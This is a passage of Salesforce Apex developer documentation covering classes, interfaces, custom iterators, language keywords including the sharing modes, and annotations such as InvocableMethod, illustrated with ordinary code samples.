• Classes with no user-defined constructor — these have an implicit, no-argument constructor
• An interface definition in the top-level class
• An interface that extends another interface
• Inner class definitions (one level deep) within a top-level class
• A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method
signatures
• An inner class constructor definition and invocation
• An inner class member variable and a reference to it using the this keyword (with no arguments)
• An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
• Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces
({}). Note that these execute with every construction in the order they appear in the file, as with Java.
• Class extension and an abstract class
• Methods that override base class methods (which must be declared virtual)
• The override keyword for methods that override subclass methods
• Abstract methods and their implementation by concrete sub-classes

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• The protected access modifier

• Exceptions as first class objects with members, methods, and constructors
This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');

// Call user-defined methods in the class

System.assertEquals(2, ic.method2(1));

// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;

// Use instanceof and casting as usual

OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);

// Construct the outer type

OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());

// Construct instances of abstract class children

System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());

// Illegal - cannot construct an abstract class

// new OuterClass.AbstractChildClass();

// Illegal – cannot access a static method through an instance

// o.getInt();

// Illegal - cannot call protected method externally

// new OuterClass.ConcreteChildClass().method2();

This code example illustrates:

• Construction of the outer class
• Construction of an inner class and the declaration of an inner interface type
• A variable declared as an interface type can be assigned an instance of a class that implements that interface
• Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)

Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company can have two types of purchase orders, ones that come
from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to
provide a discount. The amount of the discount can depend on the type of purchase order.

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You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
Here’s the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}

This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}

This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}

Note the following about the example:

• The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers
and contain just their signature.
• The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. Any class that implements an interface must define all the methods contained in the interface.
When you define a new interface, you’re defining a new data type. You can use an interface name in any place you can use another data
type name. Any object assigned to a variable of type interface must be an instance of a class that implements the interface, or a
sub-interface data type.
See also Classes and Casting on page 114.

Note: You can’t add a method to a global interface after the class has been uploaded in a Managed - Released package version.

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are
annotated with @namespaceAccessible. For accessibility considerations, see NamespaceAccessible Annotation. For more
information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.
In API version 61.0 and later, private methods are no longer overridden by an instance method with the same signature in a subclass.
This change is versioned, so to prevent the override, update your abstract or virtual classes that contain private methods to API version
61.0 or later. In API version 60.0 and earlier, if a subclass declares an instance method with the same signature as a private method in
one of its superclasses, the subclass method overrides the private method.

1. Custom Iterators

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Custom Iterators
An iterator traverses through every item in a collection. For example, in a procedural loop, you define a condition for exiting the loop,
and you must provide some means of traversing the collection, that is, an iterator. In this example, count is incremented by 1 every
time the loop is executed.
while (count < 11) {
System.debug(count);
count++;
}

Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. The iterator is useful for
data that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can
also be used if you have multiple SELECT statements.

Using Custom Iterators

To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:

Name Arguments Returns Description

hasNext Boolean Returns true if there’s another item in the collection being
traversed, false otherwise.

next Any type Returns the next item in the collection.

All methods in the Iterator interface must be declared as global or public.

This example code uses a custom iterator to iterate through a list of strings.
IterableString x = new IterableString('This is a really cool test.');

while(x.hasNext()){
system.debug(x.next());
}

Using Custom Iterators with Iterable

If you don’t want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable
interface to generate the data structure.
The Iterable interface has the following method:

Name Arguments Returns Description

iterator Iterator class Returns a reference to the iterator for this interface.

The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.

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In the following example a custom iterator iterates through a collection:

public class CustomIterator
implements Iterator<Account>{

private List<Account> accounts;

private Integer currentIndex;

public CustomIterator(List<Account> accounts){

this.accounts = accounts;
this.currentIndex = 0;
}

public Boolean hasNext(){

return currentIndex < accounts.size();
}

public Account next(){

if(hasNext()) {
return accounts[currentIndex++];
} else {
throw new NoSuchElementException('Iterator has no more elements.');
}
}
}

public class CustomIterable implements Iterable<Account> {

public Iterator<Account> iterator(){
List<Account> accounts =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
LIMIT 10];
return new CustomIterator(accounts);
}
}

The following is a batch job that uses an iterator:

public class BatchClass implements Database.Batchable<Account>{
public Iterable<Account> start(Database.BatchableContext info){
return new CustomIterable();
}
public void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account acc : scope){
acc.Name = 'changed';
acc.NumberOfEmployees = 69;
accsToUpdate.add(acc);
}
update accsToUpdate;
}
public void finish(Database.BatchableContext info){
}
}

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Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without sharing.

1. Using the final Keyword

2. Using the instanceof Keyword
3. Using the super Keyword
4. Using the this Keyword
5. Using the transient Keyword
6. Use the with sharing, without sharing, and inherited sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether sharing rules must be enforced. Use
the inherited sharing keyword on a class to run the class in the sharing mode of the class that called it.

SEE ALSO:
Reserved Keywords

Using the final Keyword

Keep in mind these consideration while using the final keyword to modify variables.
• Final variables can be assigned a value only once. Static final variables can be initialized in static initialization code blocks or where
defined. Member final variables can be initialized in initialization code blocks, constructors, or where defined.
• To define a constant, mark a variable as both static and final.
• Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they aren’t
shared across requests.
• Methods and classes are final by default. You can’t use the final keyword in the declaration of a class or method. This means
they can’t be overridden. Use the virtual keyword if you need to override a method or class.
• You can’t use the final keyword with properties.

SEE ALSO:
Extended Class Example

Using the instanceof Keyword

If you need to verify at run time whether an object is actually an instance of a particular class, use the instanceof keyword. The
instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative
for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into a
CustomReport object.

if (Reports.get(0) instanceof CustomReport) {

// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} else {
// Do something with the non-custom-report.
}

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Implementation Considerations
Keep these considerations in mind while using the instanceof keyword.
• If the declared type on the left of the expression using the instanceof keyword is always an instance of the target type,
compilation fails. An example expression that’s always true and therefore causes a compilation error.
Account acc = new Account();
if(acc instanceOf Account) {
//condition is always true since an instance of Account is always an instance of
Account
}

• When you perform instanceof checks, implicit type casting from String to ID can result in unexpected behavior if the String
meets the requirements to be cast to an ID.

Versioned Behavior Changes

In API version 60.0 and later, if a List data type implements the Iterable data type, compilation fails. An example instanceof
expression that causes a compilation error.
public class BaseClass {}
public class SubClass extends BaseClass {}

List<SubClass> subClasses = new List<SubClass>();

if(subClasses instanceof Iterable<BaseClass>) {
//condition is always true since an instance of SubClass is always an instance of
BaseClass
}

In API version 32.0 and later, instanceof returns false if the left operand is a null object. In API version 31.0 and earlier,
instanceof returns true in this case. For example, the code sample returns false in API version 32.0 and later.

Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);

Using the super Keyword

The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;

public SuperClass() {

mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}

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public SuperClass(String salutation, String firstName, String lastName) {

mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}

public virtual void printName() {

System.debug('My name is ' + mySalutation + myLastName);

}

public virtual String getFirstName() {

return myFirstName;
}
}

You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}

The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}

Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.

Best Practices for Using the super Keyword

• Only classes that are extending from virtual or abstract classes can use super.
• You can only use super in methods that are designated with the override keyword.

Using the this Keyword

There are two different ways of using the this keyword.
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears.
Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {

string s;
{
this.s = 'TestString';

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}
}

In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {

// First constructor for the class. It requires a string parameter.

public testThis(string s2) {
}

// Second constructor for the class. It does not require a parameter.

// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}

When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

Using the transient Keyword

Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state
for a Visualforce page. For example:
Transient Integer currentTotal;

You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
• PageReferences
• XmlStream classes
• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
• JSONParser class instances.
Static variables also don't get transmitted through the view state.

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The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>

public class ExampleController {

DateTime t1;
transient DateTime t2;

public String getT1() {

if (t1 == null) t1 = System.now();
return '' + t1;
}

public String getT2() {

if (t2 == null) t2 = System.now();
return '' + t2;
}
}

SEE ALSO:
Apex Reference Guide: JSONParser Class

Use the with sharing, without sharing, and inherited sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether sharing rules must be enforced. Use the
inherited sharing keyword on a class to run the class in the sharing mode of the class that called it.

With Sharing
Use the with sharing keyword when declaring a class to enforce sharing rules of the current user. Explicitly setting this keyword
ensures that Apex code runs in the current user context. Apex code that is executed with the executeAnonymous call and Connect
in Apex always execute using the sharing rules of the current user. For more information on executeAnonymous, see Anonymous
Blocks on page 242.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {

// Code here

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Without Sharing
Use the without sharing keyword when declaring a class to ensure that the sharing rules for the current user aren’t enforced.
For example, to turn off sharing rule enforcement for a class that’s called by a class that has sharing rules enforced, use the without
sharing keyword on the called class.

public without sharing class noSharing {

// Code here

Inherited Sharing
Use the inherited sharing keyword when declaring a class to enforce the sharing rules of the class that calls it. Using
inherited sharing is an advanced technique to determine the sharing mode at runtime and design Apex classes that can run
in either with sharing or without sharing mode.

Warning: Because the sharing mode is determined at runtime, you must take extreme care to ensure that your Apex code is
secure to run in both with sharing and without sharing modes.
Using inherited sharing, along with other appropriate security checks, facilitates in passing AppExchange security review and
ensures that your privileged Apex code isn’t used in unexpected or insecure ways. An Apex class with inherited sharing runs
as with sharing if used as:
• An Aura component controller
• An @AuraEnabled method called from a Lightning web component
• A Visualforce controller
• An Apex REST service
• An asynchronous Apex class
• Any other entry point to an Apex transaction
Using the inherited sharing keyword ensures that the default is to run as with sharing. A class declared as inherited
sharing runs as without sharing only if explicitly called from an already established without sharing context.

Example: This example declares an Apex class with inherited sharing and a Visualforce invocation of that Apex code.
Because of the inherited sharing declaration, only contacts for which the running user has sharing access are displayed.
If the declaration is omitted, contacts that the user has no rights to view are displayed due to the insecure default behavior.
public inherited sharing class InheritedSharingClass {
public List<Contact> getAllTheSecrets() {
return [SELECT Name FROM Contact];
}
}

<apex:page controller="InheritedSharingClass">
<apex:repeat value="{!allTheSecrets}" var="record">
{!record.Name}
</apex:repeat>
</apex:page>

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Omitted Sharing Declarations

Important: Apex without an explicit sharing declaration is insecure by default. We strongly recommend that you always specify
a sharing declaration for a class.
If a class isn’t explicitly declared as either with sharing or without sharing, the current sharing rules remain in effect.
Therefore, the class doesn’t enforce sharing rules except if it acquires sharing rules from another class. For example, if the class is called
by another class that has sharing enforced, then sharing is enforced for the called class.
There’s a distinct difference between an Apex class that’s explicitly marked with inherited sharing and one with an omitted
sharing declaration. For these entry points to an Apex transaction, an omitted sharing declaration defaults to these sharing modes:
• An Aura component controller: with sharing
• An @AuraEnabled method called from a Lightning web component: with sharing
• A Visualforce controller: without sharing
• An Apex REST service: without sharing
• An asynchronous Apex class: without sharing
• Any other entry point to an Apex transaction: without sharing

Implementation Details
• The sharing setting of the class where a method is defined is applied, not of the class where the method is called from. For example,
if a method is defined in a class declared as with sharing is called by a class declared as without sharing, the method
executes with sharing rules enforced.
• Both inner classes and outer classes can be declared as with sharing. Inner classes do not inherit the sharing setting from their
container class. Otherwise, the sharing setting applies to all code contained in the class, including initialization code, constructors,
and methods.
• Classes inherit the sharing setting from a parent class when one class extends another.
• Apex triggers can’t have an explicit sharing declaration and run as without sharing.
• Asynchronous Apex classes defined with inherited sharing always run in with sharing mode for asynchronous
operations. Each asynchronous operation is a new entry point and the sharing mode is not serialized.

Best Practices
Apex without an explicit sharing declaration is insecure by default. We strongly recommend that you always specify a sharing declaration
for a class.
Regardless of the sharing mode, object-level access and field-level security aren’t enforced by Apex. You must enforce object-level access
and field-level security in your SOQL queries or code. For example, with sharing mechanism doesn’t enforce user’s access to view
reports and dashboards. You must explicitly enforce the running user’s CRUD (Create, Read, Update, Delete) and field-level security in
your code. See Enforcing Object and Field Permissions.

Sharing Mode When to Use

with sharing Use this mode as the default unless your use case requires
otherwise.

without sharing Use this mode with caution. Ensure that you don’t inadvertently
expose sensitive data that’s normally hidden by the sharing model.
This sharing mechanism is best used to grant targeted elevation
of sharing privileges to the current user.

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Sharing Mode When to Use

For example, use without sharing to allow community
users to read records to which they wouldn’t otherwise have access.

inherited sharing Use this mode for service classes that must be flexible and support
use cases with different sharing modes.

Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with an
initial @ symbol, followed by the appropriate keyword.
To add an annotation to a method, specify it immediately before the method or class definition. For example:

global class MyClass {

@Future
Public static void myMethod(String a)
{
//long-running Apex code
}
}

Apex supports these annotations.

• @AuraEnabled
• @Deprecated
• @Future
• @InvocableMethod
• @InvocableVariable
• @IsTest
• @JsonAccess
• @NamespaceAccessible
• @ReadOnly
• @RemoteAction
• @SuppressWarnings
• @TestSetup
• @TestVisible
• Apex REST annotations:
– @ReadOnly
– @RestResource(urlMapping='/yourUrl')
– @HttpDelete
– @HttpGet
– @HttpPatch
– @HttpPost
– @HttpPut

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You can use multiple annotations for the same class or method. Specify each annotation on a separate line immediately before the class
or method definition. Some annotations can’t be used together. If applicable, these limitations are documented on the page for the
annotation.

1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
To identify variables used by invocable methods in custom classes, use the InvocableVariable annotation.
6. IsTest Annotation
7. JsonAccess Annotation
The @JsonAccess annotation defined at Apex class level controls whether instances of the class can be serialized or deserialized.
If the annotation restricts the JSON or XML serialization and deserialization, a runtime JSONException exception is thrown.
8. NamespaceAccessible Annotation
9. ReadOnly Annotation
10. RemoteAction Annotation
11. SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third-party tools.
12. TestSetup Annotation
Methods defined with the @TestSetup annotation are used for creating common test records that are available for all test
methods in the class.
13. TestVisible Annotation

AuraEnabled Annotation
The @AuraEnabled annotation enables client-side and server-side access to an Apex controller method. Providing this annotation
makes your methods available to your Lightning components (both Lightning web components and Aura components). Only methods
with this annotation are exposed.
In API version 44.0 and later, you can improve runtime performance by caching method results on the client by using the annotation
@AuraEnabled(cacheable=true). You can cache method results only for methods that retrieve data but don’t modify it.
Using this annotation eliminates the need to call setStorable() in JavaScript code on every action that calls the Apex method.
In API version 55.0 and later, you can use the annotation @AuraEnabled(cacheable=true scope='global') to enable
Apex methods to be cached in a global cache.
For more information, see Lightning Aura Components Developer Guide and Lightning Web Components Developer Guide.

Versioned Behavior Changes

In API version 55.0 and later, overloads aren’t allowed on methods annotated with @AuraEnabled.

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Deprecated Annotation
Use the Deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This annotation is useful when you’re refactoring code
in managed packages as the requirements evolve. New subscribers can’t see the deprecated elements, while the elements continue to
function for existing subscribers and API integrations.
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@Deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {

Note the following rules when deprecating Apex identifiers:

• Unmanaged packages can’t contain code that uses the deprecated keyword.
• When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
• webservice methods and variables can’t be deprecated.
• You can deprecate an enum but you can’t deprecate individual enum values.
• You can deprecate an interface but you can’t deprecate individual methods in an interface.
• You can deprecate an abstract class but you can’t deprecate individual abstract methods in an abstract class.
• You can’t remove the Deprecated annotation to undeprecate something in Apex after you’ve released a package version where
that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 718.

Future Annotation
Use the Future annotation to identify methods that are executed asynchronously. When you specify Future, the method executes
when Salesforce has available resources.
For example, you can use the Future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the Future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the Future annotation can’t
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the Future annotation. For example:
global class MyFutureClass {

@Future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}

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To allow callouts in a Future method, specify (callout=true). The default is (callout=false), which prevents a method
from making callouts.
The following snippet shows how to specify that a method executes a callout:
@Future (callout=true)
public static void doCalloutFromFuture() {
//Add code to perform callout
}

Future Method Considerations

• Remember that any method using the Future annotation requires special consideration because the method doesn’t necessarily
execute in the same order it’s called.
• Methods with the Future annotation can’t be used in Visualforce controllers in either getMethodName or setMethodName
methods, nor in the constructor.
• You can’t call a method annotated with Future from a method that also has the Future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.

InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.

Note: If a flow invokes Apex, the running user must have the corresponding Apex class security set in their user profile or permission
set.
Invocable methods are called natively from Rest, Apex, Flow, Agentforce agents or Einstein bots that interacts with the external API
source. Invocable methods have dynamic input and output values and support describe calls.
This code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.' category='Account')
public static List<String> getAccountNames(List<ID> ids) {
List<Account> accounts = [SELECT Name FROM Account WHERE Id in :ids];
Map<ID, String> idToName = new Map<ID, String>();
for (Account account : accounts) {
idToName.put(account.Id, account.Name);
}
// put each name in the output at the same position as the id in the input
List<String> accountNames = new List<String>();
for (String id : ids) {
accountNames.add(idToName.get(id));
}
return accountNames;
}
}

This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label = 'Insert Accounts' description='Inserts the accounts specified
and returns the IDs of the new accounts or null if account is failed to create.' category
= 'Account')

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public static List<ID> insertAccounts(List<Account> accounts) {

Database.SaveResult[] results = Database.insert(accounts, false);
List<ID> accountIds = new List<ID>();

for (Database.SaveResult result : results) {

if (result.isSuccess()) {
accountIds.add(result.getId());
} else {
accountIds.add(null);
}
}

return accountIds;
}
}

This code sample shows an invocable method with the generic sObject data type.
public with sharing class GetFirstFromCollection {
@InvocableMethod
public static List<Results> execute (List<Requests> requestList) {
List<Results> results = new List<Results>();
for (Requests request : requestList) {
List<SObject> inputCollection = request.inputCollection;
SObject outputMember = inputCollection[0];

//Create a Results object to hold the return values

Results result = new Results();

//Add the return values to the Results object

result.outputMember = outputMember;

//Add Result to the results List at the same position as the request is in the
requests List
results.add(result);
}
return results;
}

public class Requests {

@InvocableVariable(label='Records for Input' description='yourDescription' required=true)

public List<SObject> inputCollection;

}

public class Results {

@InvocableVariable(label='Records for Output' description='yourDescription'
required=true)
public SObject outputMember;
}
}

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This code sample shows an invocable method with a custom icon from an SVG file.
global class CustomSvgIcon {
@InvocableMethod(label='myIcon' iconName='resource:myPackageNamespace__google:top')
global static List<Integer> myMethod(List<Integer> request) {
List<Integer> results = new List<Integer>();
for(Integer reqInt : request) {
results.add(reqInt);
}
return results;
}
}

This code sample shows an invocable method with a custom icon from the Salesforce Lightning Design System (SLDS).
public class CustomSldsIcon {

@InvocableMethod(iconName='slds:standard:choice')
public static void run() {}

To handle exceptions within an invocable method, wrap the results in an Apex object that reports failures. The execution of the invocable
method must run and return the same number of results as inputs received even if errors occur.
For example, this code sample adjusts positive values by taking their square root and multiplying by pi, setting a success flag to true.
For negative values, it sets the success flag to false.
global class AdjustPositiveValuesAction {
@InvocableMethod(label='Adjust Positive Values' description='Returns the list of adjusted
values. If a number is negative, a failure is reported for that value.')

public static List<AdjustmentResult> doAdjustment(List<Double> values) {

List<AdjustmentResult> results = new List<AdjustmentResult>();

for (Double value : values) {

AdjustmentResult result = new AdjustmentResult();

try {
// Adjust the value, scale by pi.
// Note: If the value is negative, this operation throws an exception.
result.adjustedValue = Math.sqrt(value) * Math.PI;
result.adjustmentSucceeded = true;
}
catch (Exception e) {
// If a negative value caused an exception, mark the adjustment as failed, and keep
processing other values.
result.adjustmentSucceeded = false;
}

results.add(result);
}

return results;
}

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global class AdjustmentResult {

@InvocableVariable(label='True if adjustment succeeded')
global boolean adjustmentSucceeded;

@InvocableVariable(label='Adjusted value, only valid if adjustment succeeded')

global Double adjustedValue;
}
}

This test method checks whether the value adjustments were successful and verifies the calculated values for positive inputs.
// Test class for AdjustPositiveValuesAction
@isTest
private class AdjustPositiveValuesActionTest {
private static testMethod void doTest() {
// Create a list of test values: 4, -1, 1
List<Double> values = new List<Double>();
values.add(4);
values.add(-1);
values.add(1);

Test.startTest();

// Call the doAdjustment method with the test values.

List<AdjustPositiveValuesAction.AdjustmentResult> results =
AdjustPositiveValuesAction.doAdjustment(values);

Test.stopTest();

// Assertions to check if adjustments were successful or not for each input value.
system.assertEquals(true, results[0].adjustmentSucceeded);
system.assertEquals(false, results[1].adjustmentSucceeded);
system.assertEquals(true, results[2].adjustmentSucceeded);

// Assertions to check the calculated adjusted values for positive inputs.

system.assertEquals(2 * Math.PI, results[0].adjustedValue);
system.assertEquals(Math.PI, results[2].adjustedValue);
}
}

Supported Modifiers
All modifiers are optional.
label
The label for the method, which appears as the action name in Flow Builder. The default is the method name, though we recommend
that you provide a label.
description
The description for the method, which appears as the action description in Flow Builder. The default is Null.
callout
The callout modifier identifies whether the method calls to an external system. If the method calls to an external system, add
callout=true. The default value is false.

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capabilityType
The capability that integrates with the method. The valid format is Name://Name, for example:
PromptTemplateType://SalesEmail
category
The category for the method, which appears as the action category in Flow Builder. If no category is provided (by default), actions
appear under Uncategorized.
configurationEditor
The custom property editor that is registered with the method and appears in Flow Builder when an admin configures the action.
If you don’t specify this modifier, Flow Builder uses the standard property editor.
iconName
The name of the icon to use as a custom icon for the action in the Flow Builder canvas. You can specify an SVG file that you uploaded
as a static resource or a Salesforce Lightning Design System standard icon.

InvocableMethod Considerations
Implementation Notes
• The invocable method must be static and public or global, and its class must be an outer class.
• Only one method in a class can have the InvocableMethod annotation.
• Other annotations can’t be used with the InvocableMethod annotation.
Inputs and Outputs
There can be at most one input parameter and its data type must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type isn’t supported.
• A list of an sObject type or a list of lists of an sObject type.
• A list of the generic sObject type (List<sObject>) or a list of lists of the generic sObject type (List<List<sObject>>).
• A list of a user-defined type, containing variables of the supported types or user-defined Apex types, with the
InvocableVariable annotation. To implement your data type, create a custom global or public Apex class. The class
must contain at least one member variable with the invocable variable annotation.
If the return type isn’t Null, the data type returned by the method must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type isn’t supported.
• A list of an sObject type or a list of lists of an sObject type.
• A list of the generic sObject type (List<sObject>) or a list of lists of the generic sObject type (List<List<sObject>>).
• A list of a user-defined type, containing variables of the supported types or user-defined Apex types, with the
InvocableVariable annotation. To implement your data type, create a custom global or public Apex class. The class
must contain at least one member variable with the invocable variable annotation.

Note: For a correct bulkification implementation, the Inputs and Outputs must match on both the size and the order. For
example, the i-th Output entry must correspond to the i-th Input entry. Matching entries are required for data correctness
when your action is in bulkified execution, such as when an apex action is used in a record trigger flow.

Managed Packages
• You can use invocable methods in packages, but after you add an invocable method you can’t remove it from later versions of
the package.
• Public invocable methods can be referred to by flows and processes within the managed package.

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• Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in Flow
Builder and Process Builder in the subscriber org.
For more information about invocable actions, see the Actions Developer Guide.

SEE ALSO:
InvocableVariable Annotation
Actions Developer Guide: Apex Actions
REST API Developer Guide: Invocable Actions
Salesforce Help: Add a Custom Icon to an Apex-Defined Action
Apex Reference Guide: Action Class
Lightning Web Components Developer Guide: Develop Custom Property Editors for Flow Builder
Prompt Builder: Ground with Apex
Making Callouts to External Systems from Invocable Actions

InvocableVariable Annotation
To identify variables used by invocable methods in custom classes, use the InvocableVariable annotation.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
method’s invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
This code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
for (ConvertLeadActionRequest request : requests) {
results.add(convertLead(request));
}
return results;
}

public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {

Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(request.leadId);
lc.setConvertedStatus(request.convertedStatus);

if (request.accountId != null) {
lc.setAccountId(request.accountId);
}

if (request.contactId != null) {
lc.setContactId(request.contactId);
}

if (request.overWriteLeadSource != null && request.overWriteLeadSource) {

lc.setOverwriteLeadSource(request.overWriteLeadSource);
}

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if (request.createOpportunity != null && !request.createOpportunity) {

lc.setDoNotCreateOpportunity(!request.createOpportunity);
}

if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}

if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}

if (request.sendEmailToOwner != null && request.sendEmailToOwner) {

lc.setSendNotificationEmail(request.sendEmailToOwner);
}

Database.LeadConvertResult lcr = Database.convertLead(lc, true);

if (lcr.isSuccess()) {
ConvertLeadActionResult result = new ConvertLeadActionResult();
result.accountId = lcr.getAccountId();
result.contactId = lcr.getContactId();
result.opportunityId = lcr.getOpportunityId();
return result;
} else {
throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
}
}

global class ConvertLeadActionRequest {

@InvocableVariable(required=true)
global ID leadId;

@InvocableVariable(required=true)
global String convertedStatus;

@InvocableVariable
global ID accountId;

@InvocableVariable
global ID contactId;

@InvocableVariable
global Boolean overWriteLeadSource;

@InvocableVariable
global Boolean createOpportunity;

@InvocableVariable
global String opportunityName;

@InvocableVariable
global ID ownerId;

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@InvocableVariable
global Boolean sendEmailToOwner;
}

global class ConvertLeadActionResult {

@InvocableVariable
global ID accountId;

@InvocableVariable
global ID contactId;

@InvocableVariable
global ID opportunityId;
}

class ConvertLeadActionException extends Exception {}

}

This code sample shows an invocable method with invocable variables that have the generic sObject data type.
public with sharing class GetFirstFromCollection {
